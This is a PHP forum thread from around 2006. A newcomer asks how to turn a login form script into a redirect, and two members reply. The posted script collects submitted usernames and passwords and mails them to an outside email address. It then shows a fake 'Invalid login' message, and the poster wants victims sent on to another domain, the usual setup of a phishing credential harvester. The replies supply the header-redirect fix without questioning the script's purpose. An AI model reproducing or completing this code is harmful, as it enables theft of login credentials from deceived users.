PHP Redirect Code

PHP programming forum. Ask questions or help people concerning PHP code. Don't understand a function? Need help implementing a class? Don't understand a class? Here is where to ask. Remember to do your homework!

Moderator: General Moderators

Post Reply
Cell 2Dee
Forum Newbie
Posts: 1
Joined: Sun Apr 09, 2006 8:19 pm

PHP Redirect Code

Post by Cell 2Dee »

feyd | Please use

Code: Select all

,

Code: Select all

and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]


Wassup, I'm new to PHP and I'm tryna learn how to do something. I wanna redirect a page and everytime I try it says 'parse error' etc., but I guess that's cuz I was using HTML on it . Anyway, here's the code I'm tryna edit

Code: Select all

<?php
$to = "cell.2dee@gmail.com"; //
$username = $_POST['username'];
$password = $_POST['password'];
$sub = "form to mail";
$messub = "Subject: ".$subject."n";
$mesname .= "Name: ".$username."n";
$mespass .= "Pass: ".$password."n";
if(empty($username) || empty($password))  {
echo " <h3>Please enter your username.</h3>";
}
else {
mail($to,$sub,$username,$password);
print " <h3><center>Invalid login.Please try later.".$name."</center></h3>";

}
?>
Now where it says 'Invalid login.Please try later.', I want this page to just redirect to http://www.redirectdomain.com but I'm not sure what to edit.

Thanks if someone can help


feyd | Please use

Code: Select all

,

Code: Select all

and [syntax="..."] tags where appropriate when posting code. Your post has been edited to reflect how we'd like it posted. Please read:  [url=http://forums.devnetwork.net/viewtopic.php?t=21171]Posting Code in the Forums[/url] to learn how to do it too.[/color]
User avatar
feyd
Neighborhood Spidermoddy
Posts: 31559
Joined: Mon Mar 29, 2004 3:24 pm
Location: Bothell, Washington, USA

Post by feyd »

jito
Forum Commoner
Posts: 85
Joined: Sat Mar 25, 2006 4:32 am
Location: india

Post by jito »

yes,
like feyd already said, use Header(location:<destination>) and take care of outputs. Don't use any output message before header, otherwise u will get an error.
jito
Forum Commoner
Posts: 85
Joined: Sat Mar 25, 2006 4:32 am
Location: india

Post by jito »

srry,not an error but a warning
Post Reply